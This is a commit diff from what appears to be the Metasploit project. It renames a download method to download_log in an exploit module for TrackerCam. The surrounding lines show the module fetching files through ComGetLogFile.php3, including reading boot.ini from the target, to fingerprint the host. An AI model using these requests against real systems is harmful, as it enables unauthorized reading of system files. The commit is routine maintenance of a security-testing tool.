rename to download_log to avoid conflicting with the mixin
parent
5d05ca154a
commit
7d4561e0fd
|
@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
handler
|
||||
end
|
||||
|
||||
def download(path)
|
||||
def download_log(path)
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => '/tuner/ComGetLogFile.php3',
|
||||
|
@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def fingerprint
|
||||
|
||||
res = download(rand_text_alphanumeric(12) + '.txt')
|
||||
res = download_log(rand_text_alphanumeric(12) + '.txt')
|
||||
return if not res
|
||||
|
||||
m = res.match(/in <b>(.*)<\/b> on line/smi)
|
||||
|
@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("TrackerCam is installed in a non-standard location")
|
||||
end
|
||||
|
||||
boot = download('boot.ini')
|
||||
boot = download_log('boot.ini')
|
||||
return if not boot
|
||||
|
||||
case boot
|
||||
|
|
Loading…
Reference in New Issue